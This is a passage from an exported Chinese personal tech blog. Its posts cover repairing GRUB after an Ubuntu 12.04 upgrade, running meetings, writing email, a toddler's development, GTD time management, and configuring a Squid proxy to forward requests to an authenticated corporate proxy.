MBR(主引导记录)中的第二阶段引导分区的id，因此机器启动后，MBR依旧按原有的配置去寻找那个分区ID，但装有Ubuntu的分区ID已 经发生了变化，原引导分区被重新格式化并且无系统，因此Grub2无法找到分区，无法开启第二阶段引导。\n无奈只能使用livecd，进入terminal，执行如下命令（ubuntu 12.04安装在sda1）：\n\u0026gt; sudo mount /dev/sda1 /mnt\n\u0026gt; sudo grub-install –boot-directory=/mnt/boot /dev/sda\n再次重启后，系统引导正常，终于可以进入12.04了。网上说利用grub rescue命令也可以刷新MBR记录，不过我没能试验成功。\n不同Ubuntu的配置过程大同小异，我早已轻车熟路了：\n- 添两个源：搜狐和网易的ubuntu 12.04的源，然后更新软件包列表；\n- 打开更新管理器，设置首选软件源；\n- 打开“语言支持”，下载和更新语言包；\n- 安装Google Chrome、Vim、iptux、rdesktop、Filezilla、subversion、htop、git、golang、apache2、 parcellite等工具；\n- Thunderbird配置恢复(Ubuntu 12.04已经将thunderbird作为默认mail客户端)；\n- 恢复用户配置，包括.bashrc、模板、vim配置和插件等；\n- 恢复hosts、apache2等配置；\nUbuntu演进到今天，对中文的支持已经很好了。默认情况下的iBus拼音已经很好用了。更新完语言包后，输入法变成SunPinyin，用起 来的确比小企鹅输入法智能多了。\nUbuntu默认的桌面环境是自行开发的Unity，至少目前感觉还行，其Dash程序启动器比较好用，基本可以替代原先在Gnome下用的 launchy。不过对于我用的X60 12寸普通屏幕(非宽屏)来讲，左边的Dock启动栏显然占据了应用本已不大的界面空间。\nUbuntu 12.04配置与应用安装时遇到了两个问题，这里做个分享和备忘：\n1、ext3分区自动挂载以及权限问题\n这次安装时，原安装ubuntu 10.04的分区被重新格式化了，但并未挂载目录。系统启动后，该分区未被自动挂载，只能手动挂载。于是尝试通过修改/etc/fstab自动挂载该ext3分区。\nroot下建立/home1目录，在/etc/fstab中添加一行，将该分区自动挂载到/home1：\n# / was on /dev/sda3 during installation\nUUID=1ed84fc1-5ba2-4e82-94f5-c3e4f5654036 /home1 ext3 defaults,errors=remount-ro 0 0\n重启后，该分区如预期一样被自动挂载。但有出现了新问题，该分区下无法用普通用户权限创建文件，也就是没有写权限。反复改了几次fstab中的挂载参数， 都无法解决。后想到既然分区已经挂载到了/home1目录，那修改/home1目录的权限是否可以解决这个问题呢？于是sudo chmod 777 /home1。命令执行完后重启。新分区自动挂载，并可写了。\n2、恢复iptux默认配置\n部门都用飞秋作为内部IM工具。Linux下的feiq协议兼容工具是iptux。Ubuntu 12.04下用apt-get就可以正确安装iptux，运行也一切OK。但我在配置iptux时，无意中选择了“启动后主面板自动隐藏”，导致始终无法 看到iptux主界面，也就无法发送消息。于是开始尝试恢复iptux的默认配置。\n直接上方法：\n- 后台杀掉iptux；\n- cd ~/.gconf/apps/iptux\n- 删除iptux配置文件\n- 执行gconftool-2 –recursive-unset /apps/iptux\n注意如果不用上面方法，即便是卸载再重装iptux也是无济于事的。\n","permalink":"https://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003eUbuntu 10.04\u003c/a\u003e LTS已经伴随我两年了，经过我这么长时间的折腾，Ubuntu早已不堪重负^_^。在未升级前，Ubuntu 10.04已经表现出诸多问题：\u003c/p\u003e\n\u003cp\u003e- 在家中连接无线路由器时间漫长，且经常掉线；\u003cbr\u003e\n- 在公司用有线网络经常掉线；\u003cbr\u003e\n- 由于反复安装软件，系统中残留较多垃圾数据；\u003cbr\u003e\n- Ubuntu 10.04官方源中的软件版本都有些低，很多软件手工安装高版本比较费力；\u003c/p\u003e","title":"升级到Ubuntu 12.04LTS"},{"content":"我个人一直追求高效的工作，无论是在职场中的哪个环节，在我眼中总是应该有提效的空间的，我甚至感觉我在这方面似乎形成了一种偏执，有些时候一看到低效的环节，我就有些情绪激动^_^。\n如果要大家投票表决组织内部最低效地活动环节，估计大多数人会将选票投给会议。关于内部会议的组织和实施，有很多反模式，这里列举一二：\n- 会议组织人突然发出会议通知，两个小时后举行某会议；\n- 会议通知中没有会议的agenda信息，也没有任何有关会议的资料；\n- 会议的干系人选择不恰当，有些人本无需参会；\n- 会议实施过程中主持人无准备，无整体思路主线，想到哪里，就说到哪里；\n- 所讲内容与会议类型不匹配，无有效价值传达；\n- 会议无决议，无后续行动计划，大家无所获 – 三无会议。\n这里谈到的会议的效率不仅在于实施时的时间上的长短，更重要的是会议主题内容在单位时间内传递给相关干系人的程度。其实细致高效地组织和实施一次组织内部会议，并非是件多难的事情。一个会议，无非准备、实施、会后跟踪落实三个部分，而每个部分其实又都是有章可循的。\n一、准备****阶段\n* 提前预定好会议室\n注意会议室的Size要适宜，别到时侯人多没地儿坐；而人少又显得空旷，显得人气不旺，气氛不足^_^。对于有限时的远程视频会议室，要预留足够长的时间，避免会议超时带来的意外情况。\n* 会议通知\n在明确会议主题、类型、目标和Agenda之后，可提前数天或更长时间在组织内发出会议通知，这样可以便于干系人安排好自己的任务列表；通知中应说明会议 的主题、目标与Agenda，如果有初步的资料的话，最好能附上，让相关干系人可以更深入了解；会议的干系人选择要谨慎，哪些人必须参会，哪些人需要知道 有这个会议，自由选择参加等等都要明确。\n* 会议资料准备\n会议的主讲人或主持人(因会议不同而定)需进行精心的资料准备。准备阶段，主讲人应充分考虑会上要向与会者传达哪些信息与价值，要有贯穿会议的清晰的思路 主线。有条件的情况下，可以请相关人评审这份资料，主讲人最好自己做些模拟讲解，以保证在会议上能产生最好的表达效果，以提高与会者的信息接收和理解程 度。另外有些类型会议(如总结会)需要一些第三方提供的资料或需第三方讨论确认的事情，这些务必在会议举行前完成，避免在会上进行细节的讨论，降低效率。\n* 参会提醒\n会议主持者应提前一天再次发出会议提醒，如果此时已经准备好最新资料了，可将资料附上；但少数主讲人希望保持神秘感，只发提醒也就是了。\n二、实施阶段\n* 当天的会议提醒\n会议举行当天，再次做会议提醒，这次仅一个通知即可。\n* 会议室准备\n会议的主持人或组织者或主讲人应根据会议类型和具体情况，提前一些时间到达会议室做好各种准备，包括确认会议室的设备完好情况，至少连上投影，插上网线看 看是否可用；若是远程视频会议室，则更是要提早联系管理员做设备调试，确保会议准点开始时，设备是好用的，远程是接通的；类似一些架构讲解会的会议，可能 还需要提前在会议室白板上做板书。总之，这些准备工作目的就是让会议可以准时开始，而不是让与会者坐在那里白白浪费时间。\n* 会议进行\n不同类型的会议有不同的进行方式。在组织内部，例会、总结会和评审类会议居多。但总体来说，无论哪种会议，如果要高效地进行，都应该按照主持人/主讲人的 思路主线进行，围绕着会议要传达给与会者的主题为中心，详说重点，有理有据，略说细节，避免细节讨论；必要讨论时，主讲人也应引导与会者的讨论，避免跑 题，并及时打断讨论，回到正题上。\n* 控制会议时间节奏\n在某件事情上，常人保持集中精力于其上的时间是有限度的，超过这个时间，常人肯定会溜号，信息接收和理解的效率自然就会降低。因此为了让与会者可以保持集中精力的投入，主持人需要控制好会议的节奏，适当予以休息。组织内的大部分会议，应不超过一小时为宜。\n* 会议要有结论，并与与会者达成一致\n会议是以高效地传达某种信息为目的的，这些信息可能是知识、技巧、最佳实践、思路、工具或某种结论，与会者在后续的工作中会用到信息。因此虽然会议类型不同，但会议均应有相关结论，作为后续的行动计划；并且与会者需要这些结论上达成一致。\n三、会后跟踪落实\n会议的效率更多体现在前两个阶段。最后这个阶段更多是用来检验和评估会议后的信息传达效果。另外会议主持人/主讲人需要通过这些跟踪和落实情况，总结信息传达情况；回顾和反省会议是否组织和实施的足够高效；发掘和发现问题，并做持续改进和改善。\n","permalink":"https://tonybai.com/2012/12/03/how-to-organize-and-hold-meetings-efficiently/","summary":"\u003cp\u003e我个人一直追求高效的工作，无论是在职场中的哪个环节，在我眼中总是应该有提效的空间的，我甚至感觉我在这方面似乎形成了一种偏执，有些时候一看到低效的环节，我就有些情绪激动^_^。\u003c/p\u003e","title":"谈谈如何高效地组织和实施内部会议"},{"content":"Mail(在这个时代，Mail默认的含义早已变成了Email，也就是电子邮件)是我们在工作中常用的表达和沟通方式之一。与IM工具、拿起电话直接Call、会议等相比，Mail容许相关干系人用更多的时间去了解背景、理解问题和思考解决方案，而不用立即予以答复。\n我们每天都会发出和收到几十封甚至上百封Mail，但这并不意味着我们写的Mail就都是合格的。一些人的Mail，无论从格式还是内容，都会让人看起来直皱眉，不知所云；而另外一些合格的Mail，则会让人读起来感觉如沐春风，特别舒服。\n如何写好Mail是有原则可循的，这里就结合本人的实践来谈谈这些所谓原则，一家之言，不一定完全正确，仅供参考^_^。\n* Mail的使用场合\n在运用Mail之前，首先要判断你所在场合下Mail是否是最佳的沟通方式。如果是很紧急、需要对方立即给予回应的事情，那还是用IM或打电话吧；如果是涉及到较多干系人的紧急事情，则可能需要召集会议。\n* 选择一个好主题\n人们总是首先通过Mail主题来判断这封Mail是否与自己相关，并通过主题猜测Mail内容，初步评估Mail的处理优先级别。因此一个好的Mail主 题是格外重要的。Mail主题不要太长，否则易让人产生反感；Mail主题应含义清晰明确，让人一目了然；Mail主题最好能体现出些额外的信息，比如该 Mail的重要级别，若是重要mail，可在主题中标明【重要】；以及Mail属于何种类别，是通知、分享、总结还是求助、讨论、报告，可以在主题中嵌入 一些“关键字”来体现这些，比如“【分享】如何写好Mail”。\n* 谨慎选择干系人，清楚不同类别地址列表****的含义\n一般Mail会用于多方沟通，因此涉及的干系人多数情况下不止一个。在如何选择沟通干系人时要做到不遗漏干系人；不让无关的人为你的mail而浪费时间； 合理划分干系人类别，放入不同地址列表。干系人若在收件人列表中，意味着他需要重点关注该封Mail的内容；若在抄送人列表中，他只需通过该Mail了解 相关事项的进展；若是在密送列表中，显然是发件人有隐私考虑，但干系人可能需要重点关注该封Mail。\n* 良好的内容结构\n良好的内容结构是一封好Mail不可缺少的要素，个人觉得工作中的Mail内容可大致遵循如下结构：\n– 背景/目的，务必清晰、简明、扼要。\n– 你的观点和支撑你的观点的论据。如果不止一条，观点和论据可分段、成对出现。\n– 结论、其他安排、注意事项、附言。\n至于如何遣词造句，那是从小学一年级就开始学习的东西，这里就不解释了^_^。\n* 尽量避免携带附件\n对带有附件的Mail，我个人总是保持厌恶的态度。附件导致Mail Size变大，接收困难，占用较大空间；附件内容无法被mail工具做关键字搜索；不适合移动设备接收和打开阅读，虽说现在的移动设备硬件和功能都很强 大，网络流量价格也很便宜；需要二次打开附件才能全面了解Mail内容，体验不好。因此，如果在不是很必要的情况下，尽量将内容写到Mail的body 里。如果有其他沟通平台，可在内容中赋上相关地址链接，也比打开一个word或ppt的附件要好些。\n* 其他属性\n除了主题、内容、附件外，Mail还有一些属性影响接收者对Mail好坏的评价。这包括称谓和署名、优先级以及要求回执等。在正式的商业邮件中，有着明确 的称谓和书名规范要求，这方面我就不提了，有兴趣可以翻看一些商务邮件写作的资料和书籍；优先级一般采用默认的“正常”级别，但也要学会合理运用“高优先 级”来表明你的Mail的重要性，吸引收件人的关注。另外要谨慎使用回执属性，我个人就比较讨厌回执，这不是收件人的义务，所以尽量不要强求，除非你是领 导，在给下属发Mail而且又希望下属都能读过这封Mail。\n写好Mail是良好工作习惯的一个组成部分，因此养成良好工作习惯，就从写好mail开始吧！\n","permalink":"https://tonybai.com/2012/11/28/how-to-write-a-good-email/","summary":"\u003cp\u003eMail(在这个时代，Mail默认的含义早已变成了Email，也就是电子邮件)是我们在工作中常用的表达和沟通方式之一。与IM工具、拿起电话直接Call、会议等相比，Mail容许相关干系人用更多的时间去了解背景、理解问题和思考解决方案，而不用立即予以答复。\u003c/p\u003e","title":"谈谈如何写好Mail"},{"content":"好久没有写有关果果的事情了，作为爸爸的，心中不免有些惭愧啊^_^。今天就来补一下果果这大半年来的成长情况，主要是说说两周岁后果果的成长变化。没有什么系统的思路，就是想到哪说到哪。\n果果现在已经两岁半了，小家伙个头不小，身体力量和运动能力突出，在同龄小朋友中都是佼佼者。唯一缺憾就是语言能力发育延后。有人说：“小女孩说话晚，聪明”。不管大家信不信，反正我是信啦^_^。\n就果果语言发育延迟的事情，之前我们一家还是挺上火的，尤其是果果的姥姥，总带着果果与外面小朋友接触，每次看到人家小朋友流利的说话，心里都不是滋味。 另外我和LP在3月初给果果在家附近的一家有名的大幼儿园报了名，计划9月送果果去幼儿园，但到9月份居然也没有收到入园通知，估计也和果果语言能力发育 缓慢有关系，毕竟人家老师与果果沟通起来比较费劲。为此，我们还特地带果果到沈阳儿童医院做了一个全方位检查，包括生理、心理的各种测试。结果：生理上一 切正常，语言发育能力的确比起同龄人延迟5-6个月左右。不过医生说了，生理没问题，那说话就只是早晚的事，无需过多担心，平时多与孩子用语言沟通，刺激 果果的语言神经即可。\n我们最终还是决定让果果去幼儿园，在幼儿园果果会更多的参与交流，有利于其语言发育。于是我们在家附近又找了一家小幼儿园，之所以选择家附近的这个小幼儿园，一是便于果果接送；二是这个幼儿园小班的规模不大，便于老师照顾年龄几乎是班里最小的果果。\n2012年9月的第一个星期一，果果第一次去幼儿园。第一次离开父母、姥姥的果果显然不适应幼儿园的生活，每天都是哭哭啼啼的去，抹着眼泪的回。我们几个大人都是疼在心里，但也知道果果必须经过这个阶段才行。\n果果在上学的第二个星期还是病倒了，这次病的比较严重，还第一次挂了点滴。在家休养了一周时间。病愈后继续送到幼儿园上学。进入10月份，果果“突然间”就适应了幼儿园的生活，每天早晨送果果去都不再那么费劲了，小家伙有时还主动拉着姥姥去幼儿园呢^_^。\n现在来看，我们送果果去幼儿园的决定还是正确的。从10月中旬开始，果果的语言能力有了“爆发性”的提高，这种提高不仅仅体现在果果能说出更多的词汇了， 更重要的是果果开始有意识去学习模仿其他人说话了，这种意识的变化让果果每天都有新的提高。虽然到目前为止，果果的发音依旧不够准确，甚至是很不准确 ^_^，但这显然已经不是问题了。\n接下来说说果果这一阶段的一些行为特征，蛮有意思的。\n果果变得淘气了。果果自从上了幼儿园后，不但没有变得乖巧，反倒变得更加淘气了。每天家里都被她弄的乱糟糟。所有东西都被她从抽屉、箱子里翻了出来，玩具 弄的满床满地都是。凭借着其出色的运动能力，除了衣柜顶部，其他地方都已经拦不住她了。她更是学会了利用工具辅助其达成目的了，比如端来凳子，站在上面去 够冰箱上面的好吃的或开灯、关灯，或到卫生间的面盆里玩水；家里的音响设备更是她一人霸占，巧虎的光盘左一张右一张的换来换去。\n果果爱哭了。记得以前的果果并没有现在这样爱哭。现在除了因摔倒磕碰哭外，果果还学会了用哭来“要挟”父母，以获得她要得到的零食或玩具。\n果果的自理能力显著提高了。现在除了外衣的拉锁还搞不明白之外，衣服、裤子和鞋子果果都能自己穿上，虽然穿的不是那么舒服。果果在家里的大小便是完全自理 的。家里有个小马桶，专门给果果用的。果果自己方便完，还自己尝试将小马桶的尿尿倒到卫生间的大马桶中去；大便ok后，她还会主动撅起小屁屁等着姥姥拿湿 巾擦。\n果果喜欢玩拼图、七巧板、俄罗斯套娃以及拼插积木等玩具，一个玩具总是不断重复的玩。以前玩拼插积木时，果果还只是胡乱的摆，现在显然更加有目的性了，似乎在根据她的想象摆出她想要的“造型”，摆完后还会告诉父母她的作品是啥！\n果果喜欢看书，但对书“不友好”。果果经常自己从抽屉里取出多本书，放在我的面前，让我陪她一起看书。不过看完后，她却不知道将书放回原位，教育过她，似 乎也没什么效果。果果喜欢书中的迷宫问题，弄清楚路线后，就拿着我的手指在书上比划。不过果果不珍惜书，好多以前的书都被她撕坏了。\n果果懂礼貌了。每天上班出门，都是果果给爸爸妈妈开门，说拜拜，飞吻，关门。每天晚上下班到家都是果果开门，给爸爸拿拖鞋；晚上睡觉前果果会和爸爸妈妈说晚安。\n果果能帮我们干活了。我洗头发时，果果就会主动给爸爸把盆端出来，递给爸爸。我擦地时，果果也会到卫生间取出一把小拖把和我一起拖地；妈妈打扫灰尘时，果果也会取一个抹布学着妈妈的样子擦擦这擦擦那。\n果果特别喜欢跳舞。我们将幼儿园每天做操时的曲目下载到手机中。只要我们播放这些儿童歌曲，果果就会翩翩起舞起来。时常还拉着我一起跳，还帮我纠正动作^_^。\n果果开始尝试唱歌。也许还是因为语言能力的问题吧，果果最近在听到儿童歌曲时才开始有意识地哼唱，虽然不连贯，不完整。\n果果喜欢“臭美”。每次妈妈给果果买了新衣服，果果都要立即穿上，然后跑到穿衣镜旁左右扭来扭去的臭美起来，这点太像她妈妈了^_^。\n果果和爸爸特好。不知道为啥，自从11月份以来，果果就特别喜欢爸爸。每天嘴上挂的就是“爸爸”二字，早上一起床就喊“爸爸”，吃饭都不用姥姥喂了，一律改成爸爸。果果更喜欢叫我“白爸爸”。另外果果最近有句口头禅：爸爸好，妈妈坏！也不知道她妈妈哪块得罪她了。\n果果也喜欢手机游戏。我和老婆的手机被她轮番玩 – 切水果，忍者突袭，踢足球。现在则更喜欢打开天天动听来听歌。小朋友这么小就玩手机显然是不好的，因此我们也会限制她玩，但有时候也听不得她的哭声。\n总体来说，小家伙的成长应该算是正常范畴。作为父母的，希望果果快乐健康就好，别无他求。\n","permalink":"https://tonybai.com/2012/11/27/some-growing-up-details-of-my-two-years-old-daughter/","summary":"\u003cp\u003e好久没有写有关\u003ca href=\"http://tonybai.com/2012/01/23/happy-spring-festival-from-my-daughter-2012/\"\u003e果果\u003c/a\u003e的事情了，作为爸爸的，心中不免有些惭愧啊^_^。今天就来补一下果果这大半年来的成长情况，主要是说说两周岁后果果的成长变化。没有什么系统的思路，就是想到哪说到哪。\u003c/p\u003e\n\u003cp\u003e果果现在已经两岁半了，小家伙个头不小，身体力量和运动能力突出，在同龄小朋友中都是佼佼者。唯一缺憾就是语言能力发育延后。有人说：“小女孩说话晚，聪明”。不管大家信不信，反正我是信啦^_^。\u003c/p\u003e","title":"果果2岁以来的成长记录"},{"content":"时间是人类最宝贵的财富之一，我十分认同这点，因此我在个人时间管理以及工作效率上也是一直追求持续改善的，期望能在最短的时间内产出更多有价值的成果，尤其是工作时间里。\n我知道的时间管理思想主要有三种：\n* 四象限理论。这是我们经常谈到的传统时间管理理论，它告诉我们如何根据待办事项的重要和紧急两个属性对待办事项进行分类和优先级确定。我个人觉得这个理论是时间管理的基础，后续无论是GTD理论还是番茄时间理论都离不开这个理论的铺垫和辅助；\n* GTD理论。这是一种被大家热捧的实践型时间管理方法。资料不少，配套的软件工具以及web应用也有很多。该实践方法被很多职场人采用，其中就包括我；\n* 番茄工作法。这是近几年兴起的一种旨在提高单位时间内生产效率的实践方法，也有很多工具和web应用支持，其原理简单，易于理解和实践。\n总体来说，这两年我采用的时间管理方法是以上三种思想的****结合：以GTD思想为主导，用四象限理论在收集待办事项过程中对待办事项进行分类整理，在处理待办事项时使用番茄工作法最大程度的提升工作效率。\nGTD是需要工具支持才能发挥最大威力的。再具体点，目前日常工作和生活中，我使用的是Todolist这个GTD时间管理工具来辅助我进行时间管理的。 当然GTD的工具有很多，Todolist只是其中一个，也未必是最好的那个，只是我当初选择了它并一直坚持使用它罢了。\nGTD理论讲究的是收集、组织整理、执行与回顾。在最初使用Todolist时，我按照经典GTD理论，建立了两个Project：Work和 Personal。在每个Project下建立了三个“筐”：“Next Action”、“Waiting for”和“Someday/Maybe”，三个筐的含义分别是：“下一步要做的”、“等待他人做，待跟踪的”以及“将来可能做的”。开始用时还比较顺 手。但时间长了后，就发现了一些问题：\n* Work下“Next Action”中的事项越来越多，即便是个人待办事项，也更多的放在Work下的\u0026quot;Next Action\u0026quot;中，Personal下的事项越来越少；\n* “Next Action”中的待办事项不断移动到“Someday/Maybe”中；\n* “Someday/Maybe”中的事项还不舍得删除；\n* 一些持续要做的事项，比如某个习惯养成时的事项提醒，无处存放；\n* 一些周期性的事项，如每月技术交流会议等，也无处存放；\n* 为待办事项赋予的优先级属性总是因时间的推移而不断调整，导致在这方面花费了不少心力；\n* 一些待办事项的完成时间总是调来调去；\n* 很少往Waiting For中存放事件。\n也许是我对GTD的理解和执行还不够好，导致了这些问题，反倒给自己带来了负面的反馈。针对这些问题，我按如下思路对Todolist的筐结构做了调整：\n* 删除Personal Project。这样在收集事项时只有唯一一个Project入口。个人事项和工作事项都是要做的事项，扫一眼即可区分，何须分离；\n* 建立Durative Action，用于存放持续事项，这些事项不赋予完成时间，只是用来随时查看和自我提醒；可定期对该筐进行整理，已经养成的工作习惯就可以从该筐中删除了；\n* 建立Periodic Action，用于存放周期性事项，这个就不解释了；\n* 重新定义Next Action的含义。将即将做的、本周甚至本月要做的事项都放在“Next Action中”，不添加任何优先级属性，需要增加完成时间的，添加完成时间，诸如当天要完成的；否则不添加时间属性；\n* 将Someday/Maybe筐改名为“Memo”，只是用于收集任何突发的想法和待办事项，这些想法和待办事项尚没有任何计划，不赋予完成时间，只是用于备忘；\n* 删除Waiting For这个“筐”，这些事项放在Next Action中统一管理，用事项内容以及标签（可用人名）来提醒自己这件事项是依赖谁，需要跟踪谁的工作。\n这样调整完，似乎就顺手多了：工作中的待办事项多进入“Next Action”，一些点子、想法、期待做的事情进入\u0026quot;Memo\u0026quot;，习惯养成事项放在“Durative Action”；周期性的事项放到“Periodic Action”中。利用Todolist提供的\u0026quot;today\u0026quot;标签，我可以迅速看到今天的待办事项，不会有遗漏。\u0026ldquo;Memo\u0026quot;需要定期回顾整理，否则事项还是会越来越多，不过多一些也无妨，只是影响用眼睛过滤一遍的时间罢了，这个我能接受^_^。\n对于番茄工作法，没有太多可说的，需要用的时候，打开一个番茄定时器(浏览器插件，也可以是物理定时器，看个人喜好了)，心无外物，开始做就是了。\n下面是其他一些在运用GTD时的体会：\n* 工具重要，但也不要为此频繁尝试各种工具，选定一个口碑不错的工具，用下去；\n* 待办事项不要放在脑子里，务必要记录下来。腾出大脑集中精力做事，这也是GTD的前提；\n* 时时刻刻收集待办事项！在办公室、在会议中、走路中、乘车时、洗澡后、睡醒后、睡觉前，每当脑子中有事项或想法时，随时打开电脑或终端将这些事项记录下来，并在后续整理归类；\n* 运用GTD的前提是有事做！有事做的前提则是有目标和计划。因此你要想好一天的计划、一周的、一个月的，甚至是半年的目标，一年，甚至是三年的目标；\n* 虽然目前有很多脑图工具，但我更喜欢传统的纸笔。在我的身边、桌面或包都放有一只笔和一张白纸（或小本），这样无论是否有电脑或终端在身旁，我都可以随时记录事项或我的想法。\n即便有了很好的个人时间管理工具和实践方法，也还是会有人会抱怨时间太少，时间不够用。工作都完不成，哪有空学习深造？究竟是真的时间不够，还是时间没有管理好，浪费了，这个只有自己知道。但加强对时间的价值的认知将 有助于你改善自己的时间管理状况。给自己做个估值，粗略计算一下你的每个小时的价值是多少(比如每天的工资除以8)。确定了这个估值后，你就可以在做任何 事情之前对这件事情的时间成本做出一个估算了。你可以累积一下每天抽烟、看无聊的肥皂剧、胡侃闲聊的成本，可能会让你觉得触目惊心。\n很多人想集中精力和时间完成一些重要的事情，但我们工作在团队中，工作在组织内，难免会遇到一些自己不情愿做的事情或一些打扰。对于这类让你无法集中高效利用时间的事项，处理起来很麻烦，不同的场景处理方式可能不同。但这里还是几个小建议：\n* 对于领导下派给你的，你并不情愿做的事情，抱怨是毫无意义的，你的唯一行动只能是解决这个问题。我的建议是开启一个番茄，集中注意力，用最短的时间完成它。然后再去做你喜欢做的重要的事情；\n* 对于电话打扰，我的建议是如果可能的话，拆除你工位上的电话，这样渐渐地找你的电话就会变少了，他们很可能用mail或其他方式与你沟通交流；\n* 对于会议打扰，我的建议是学会拒绝。如果你不能在会议上给其他与会者带来什么价值（不会提问，没有问题，给不出建议），那就不要去。利用会议这段时间，做你认为更有价值的事情；\n* 对于登门打扰，这个的确不好处理。很多人建议设定自己的“不会客”时间，但真的有效么？够呛啊。我实际的作法：停下手头的工作，快速沟通，快速解决来客的问题，然后恢复原有工作上下文，尽快恢复之前的工作状态。\n除了做好工作时的个人时间管理之外，其他时间也要做好管理，因为工作之余，我们还要在利用这些时间去学习、充电以掌握新知识、新技能，提升个人能力。\n* 学会利用碎片时间。现代人工作繁忙，工作之外的时间（除去睡觉）有两个特点：绝对时间少和严重的碎片化。要学习要充电，我们只能把这些短暂的碎片时间充分 利用起来。比如坐在班车里、搭乘地铁时、等飞机航班时、火车上、睡觉前、陪男/女朋友逛商场时，都是可以完成一些小事项的。关键还是提做好策划，知道该做 什么，回忆一下你的时间价值吧。一年下来这些碎片时间累积起来，肯定是会让你大吃一惊的。\n* 预留充分的休息时间。将时间用于休息，以保持后续以旺盛精力投入工作和学习，比将这些时间花费在一些无聊的活动上，比如漫无目的地浏览网页、看无聊肥皂剧等要划算的多。\n","permalink":"https://tonybai.com/2012/11/23/some-experience-on-personal-time-management/","summary":"\u003cp\u003e时间是人类最宝贵的财富之一，我十分认同这点，因此我在个人时间管理以及工作效率上也是一直追求持续改善的，期望能在最短的时间内产出更多有价值的成果，尤其是工作时间里。\u003c/p\u003e","title":"个人时间管理的一些实践体会"},{"content":"近期在做一些基础设施搭建的过程中，又遭遇到了公司http代理的问题。主要是很多主机上的工具只支持不带身份鉴权信息的http_proxy设置，如只 支持诸如：export http_proxy=\u0026lsquo;http://10.10.1.1:8090\u0026rsquo;，而不支持export http_proxy=\u0026lsquo;http://tonybai:passwd@10.10.1.1:8090\u0026rsquo;这种形式的配置。\n或是其命令行选项中只提供了proxy_host和proxy_port两个选项，但并不支持携带鉴权信息。而公司内部要访问外部信息还必须通过公司的带 有身份鉴权的代理服务器，总而言之，弄得我十分不爽。于是乎产生一个想法：是否可以搭建一个内部http中间代理，部门内部主机通过不带身份鉴权信息的代 理配置访问该中间代理，而该中间代理将内部的所有http request都转发到公司代理，同时携带配置好的身份验证信息。\n对http代理这事，我完全是个小白啊，于是乎Google开来(恰逢最近Google还不给力，原因你懂的)。\n最先试用了一下tinyproxy，这个工具挺小巧简单，在ubuntu下通过apt-get 可直接安装，/etc/tinyproxy/tinyproxy.conf的配置也很简单明了。但配置文件中涉及到转发到upstream proxy server的配置行只支持\u0026quot;Upstream host:port\u0026quot;而不支持\u0026quot;Upstream tonybai:passwd@host:port\u0026quot;形式，并且也没有其他地方支持身份鉴权信息的配置。在其官方bugzilla上有很多人反映这一情 况，但其最新版本似乎也没有将这个功能加入，十分遗憾！\n于是乎打算换一个重量级的代理工具-nginx。Ubuntu 9.04下默认安装的nginx是0.65版本。nginx功能虽强大，配置倒并不那么“复杂”，但问题在于nginx本身似乎更专注于负载均衡和反向代 理，而满足我这个问题场景的资料甚少。nginx配置命令和变量太多，要想短时间搞清楚这些变量的含义还真是一件困难事。照猫画虎的尝试了几种配 置，也均未能成功。翻阅了国内唯一一本nginx书籍 – 《实战nginx》，但无奈太厚，翻了三章，索性放下了。换工具！\n最传统的开源免费http代理工具莫过于squid了。估计其市场占有率也是名列前茅的。Ubuntu 9.04下默认安装的squid是2.7版本，不算很老，squid官方站至今还提供2.7版本详细的配置文档。但squid默认的配置文件可是超级庞 大，总共有近5k行，虽然绝大部分内容都是被注释掉的。于是乎先用命令过滤出未注释行，这些行是真正生效的配置。\n关于squid如何将收到的http request转发到带身份鉴权的上级http proxy server，网上的信息也较少，不过还是让我发现一条。按照这条配置建议做了尝试。/etc/squid/squid.conf的配置摘要如下：\naccess_log /var/log/squid/access.log squid\ndebug_options ALL,1\nhosts_file /etc/hosts\ncoredump_dir /var/spool/squid\nacl all src all\nacl manager proto cache_object\nacl localhost src 127.0.0.1/32\nacl to_localhost dst 127.0.0.0/8 0.0.0.0/32\nacl localnet src 10.0.0.0/8 # RFC1918 possible internal network\nacl localnet src 172.16.0.0/12 # RFC1918 possible internal network\nacl localnet src 192.168.0.0/16 # RFC1918 possible internal network\nhttp_port 10.10.13.17:3128\nhttp_access allow localnet\nhttp_access allow localhost\nhttp_access deny all\ncache_peer proxy.yourcompany.com parent port_of_company_httpproxy 0 no-query default login=user:passwd\nnever_direct allow localnet\n配置后，重启squid(sudo /etc/init.d/squid restart)。将Chrome浏览器的代理配置改为该代理，尝试打开\u0026quot;baidu.com\u0026quot;，陷入漫长等待。于是打开squid的访问日志/var /log/squid/access.log，看到如下失败信息：\n1353476636.008 0 10.10.13.235 TCP_DENIED/400 1709 GET error:invalid-request – NONE/- text/html\n1353476657.337 1 10.10.13.235 TCP_DENIED/400 1709 GET error:invalid-request – NONE/- text/html\n1353476691.420 0 10.10.13.235 TCP_DENIED/400 1678 GET error:invalid-request – NONE/- text/htm\n居然出错！换成IE浏览器，现象一样，都是这种错误。在/var/log/squid/cache.log中，还能发现下面错误：\n2012/11/21 13:43:56| clientTryParseRequest: FD 12 (10.10.13.235:4247) Invalid Request\n不断的修改squid.conf配置，不断地修改浏览器代理配置，不断的失败。总是修改浏览器的代理配置让我感觉十分费劲，于是我换用curl工具来测试 该代理。curl是可以识别http_proxy环境变量的。将http_proxy环境变量改为export http_proxy=http://10.10.13.17:3128，在命令行敲入curl http://baidu.com，居然得到下面结果：\n$ curl http://baidu.com\n再回到access.log观察，居然看到了下面成功日志：\n1353476863.916 0 10.10.13.235 TCP_HIT/200 677 GET http://baidu.com/ – NONE/- text/html\n于是又尝试用wget下载外部文件、用subversion访问外部svn repository、rvm安装ruby包均告成功！这不就是我想要的结果吗！居然被我误打误撞到了！虽然到目前为止我仍然不知道为何浏览器发出的http request不能被识别^_^。\nSquid这个http代理功能十分强大，本身就是被很多企业作为公司级http代理的工具的。其配置参考足足可以写成一本厚厚的书（市面上已经有这种书），还好我的场景用不到那些稀奇古怪的配置，目前这种状态足矣！\n","permalink":"https://tonybai.com/2012/11/21/setup-http-proxy-with-squid/","summary":"\u003cp\u003e近期在做一些基础设施搭建的过程中，又遭遇到了公司http代理的问题。主要是很多主机上的工具只支持不带身份鉴权信息的http_proxy设置，如只 支持诸如：export http_proxy=\u0026lsquo;http://10.10.1.1:8090\u0026rsquo;，而不支持export 